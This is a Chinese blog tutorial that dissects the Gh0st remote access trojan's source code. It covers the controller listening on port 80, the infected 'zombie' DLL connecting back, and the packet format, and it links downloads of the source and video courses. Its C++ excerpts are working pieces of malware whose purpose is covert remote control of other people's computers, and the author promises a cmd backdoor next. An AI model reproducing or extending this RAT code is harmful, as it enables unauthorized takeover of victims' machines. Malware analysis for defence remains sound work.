上次说了那么多,基本上就是一个叫“大局观”的东西,只有脑子里有了一个软件的设计、运行思路,才能把一个一个类写出来,组合在一起。
Gh0st的作者是一个对代码有很好掌控的人,他对代码的组合,类之间的关系,面向对象的思想有很深入的理解。而对我们看源码的人来说,这种结构化、条理化的程序,阅读起来十分轻松,思路也十分清晰。
废话不多说,我们今天来看一下gh0st的上线。所谓上线,就是我们被控端启动起来,并主动连接我们主控端,建立起TCP连接以后,主控端就可以通过相关命令来操作被控端了,这就是一台“肉鸡”的上线。
上线以后,主控端就获取到被控端计算机的相关信息,如下图:
界面就是完全按照老狼的gh0st教程中的界面设计的。我们打开源码,看看上线,gh0st是怎么处理的。
以后每次文章,我会把我的源码发上来,大家看我的源码就可以了。这里先简洁地介绍一下我的源码。有如下一些文件。
这是一个解决方案,其中:MainDll是被控端,一个动态链接库的工程;DLLTest是加载dll的普通控制台工程;PhRemote是主控端工程,MFC的界面。Bin是我们输出文件夹,编译好的文件会在其中,其中又有两个文件夹,PhRemote是主控端,server是被控端,server中放着exe和dll,点击exe就算启动了被控端。Common中放着三个工程都可能用到的文件。
回到代码上。在主控端方面,首先我们开启了一个端口(80),来等待被控端的连接。这些工作由Activate函数完成(在PhRemote中搜索该函数找到它):
void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect)
{
CString str;
if (m_iocpServer != NULL)
{
m_iocpServer->Shutdown();
delete m_iocpServer;
}
m_iocpServer = new CIOCPServer();
if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort))
{
char hostname[256];
gethostname(hostname, sizeof(hostname));
HOSTENT *host = gethostbyname(hostname);
if (host != NULL)
{
for ( int i=0; ; i++ )
{
str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
if ( host->h_addr_list[i] + host->h_length >= host->h_name )
break;
str += "/";
}
}
str.Format("监听端口: %d成功", uPort);
AddInfoList(TRUE, str);
}
else
{
str.Format("监听端口: %d失败”, uPort);
AddInfoList(FALSE, str);
}
}
首先,变量m_iocpServer,这是我们上次说到的gh0st数据传输使用的CIOCPServer类对象,m_iocpServer = new CIOCPServer(),为它在堆上分配内存。以后我们的数据传输,都使用该对象来完成。
之后我们调用了该对象一个成员函数:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我们右键 – 转到定义,可以查看到在CIOCPServer函数的定义。
大概就是初始化socket套接字的一个过程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 进入监听线程。这已经是socket编程的一个基础了,我就不多讲。不过,其中用到了Event这个概念,这是完成端口模型中用到的概念。大家可以自己网上搜索一些异步IO模型的相关资料学习。
在m_iocpServer->Initialize函数执行完成后,等于说已经开始监听80端口了。这个if语句中有一个for循环,该循环并没有用上,到此为止我也不知道老狼的源码中为什么会有这样一段。它的作用是获取本机在所有网段下的ip地址,以/分隔。
最后,监听成功或失败则向下面一个ListCtrl中增加一条信息。
好,我们在转向被控端,就是那个dll工程。我们这个DLL只有一个导出函数,就是TestRun,执行了这个函数,等于开启了被控端。找到该函数:
extern "C" __declspec(dllexport) void TestRun(char* strHost,int nPort )
{
strcpy_s(g_strHost, _countof(g_strHost),strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
该函数有两个参数,分别是主控端的IP和端口。如果不知道IP和端口,我们也不能向主控端发起连接,不是吗?
本函数实际上是开启了一个线程,执行main函数。打开main函数,我只找关于上线的相关代码:
首先声明了一个CClientSocket socketClient;对象,我之前说了,被控端的数据传输,由CClientSocket类完成。
之后:
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
之后调用了socketClient.Connect函数(参数依旧是主控端的IP和端口),从字面意思就可以猜到是由它来连接我们的主控端。于是,右键 – 转到定义,找到该函数。
其中可能涉及到sock5代理,Negle算法等复杂的过程,我就不展开了。你只要知道,调用了socketClient.Connect函数,我们就连接了主控端的80端口。
在socketClient.Connect函数的最后,我们看到,它又开启了一个线程,执行WorkThread函数,跟进此函数看:
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning()) //---如果主控端没有退出,就一直陷在这个循环中
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---这里判断是否断开连接
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---接收主控端发来的数据
if (nSize <= 0)
{
pThis->Disconnect();//---接收错误处理
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---正确接收就调用OnRead处理
}
}
return -1;
}
看注释就很清楚了。不多说,类似于一个select选择模型,来循环接受主控端发来的信息。正确接受信息,就调用OnRead处理,所以我们跟进OnRead函数。该函数注释写的很详细,有一点我要说明。
被控端与主控端通信,每条信息有一个数据头,我们来到CClientSocket类的构造函数,可以看到以下赋值:
BYTE bPacketFlag[] = {‘G’, ‘h’, ‘0’, ‘s’, ‘t’};
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
m_bPacketFlag这也就是我们的数据头。相当于一个确认的作用,发来的包的前五个字节必须是”Gh0st”,否则就丢弃此包,抛出一个错误。
它是这样处理的:
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
FLAG_SIZE就是5,表示数据头大小5字节。首先copymemory,把前5字节从数据包中拷贝出来,再用memcmp比较是否是“Gh0st”,不是则throw出错误。
再往下看,第6-9个字节(一个int的大小),保存的是数据包的大小。
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
//--- 判断数据的大小
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{...}
用CopyMemory拷贝出该数,nSize是拷贝出来的数据包大小,这是压缩后的数据包的大小。如果不出意外,进入if语句。If语句中,我们看到三个read:
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
分别读的就是数据头(Gh0st),数据包大小,压缩前大小。之后还有一个read:
m_CompressionBuffer.Read(pData, nCompressLength);
这就是读的数据了。所以说算一下,数据头5字节,两个int,8字节,一共13个字节,相当于是数据包的header部分,而从第14字节开始,就是真正的数据包了。
我们调用uncompress函数,解压缩数据包,得到需要的数据。Gh0st利用解压成功与否,判断一个数据包的好坏。如果解压成功,则执行OnReceive函数:
if (nRet == Z_OK)//---如果解压成功
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
//调用m_pManager->OnReceive函数
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
else
throw "bad buffer";
OnReceive函数在CManager中定义,但并未实现(一个虚函数)。
我们看m_pManager,它其实是一个CManager类对象。由于多态的存在,在不同的情况下,它会指向不同的代码,执行不同的任务。(我觉得这是gh0st源码中面向对象的精髓所在)
它到底有什么用呢?下次我会给大家实现cmd后门的功能,到时候你就知道这个点的用处所在了。
【本文源码及doc下载:http://vdisk.weibo.com/s/u9oF-vwNrwpw4】
2021年update:
时间过去了多年,当时的更新没坚持下去,现在gh0st已经过时很久了,所以一直没有再管这几篇文章。没想到这几年还是有不少人会来看,也多次找我要过老狼的gh0st视频教程。我翻了下很久以前的硬盘,虽然没找到当初的原版,还是找到了一个版本,也许能够满足大家的需求(需要翻墙下载):https://mega.nz/folder/IdpBCQyL
相关源码可以在Github找到。
0x01 rand缺陷导致密钥泄露 目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php 随便写点东西,抓包,发现html源码里有个?x_show_source: 于是访问 http://0…
请登录后发表评论
注册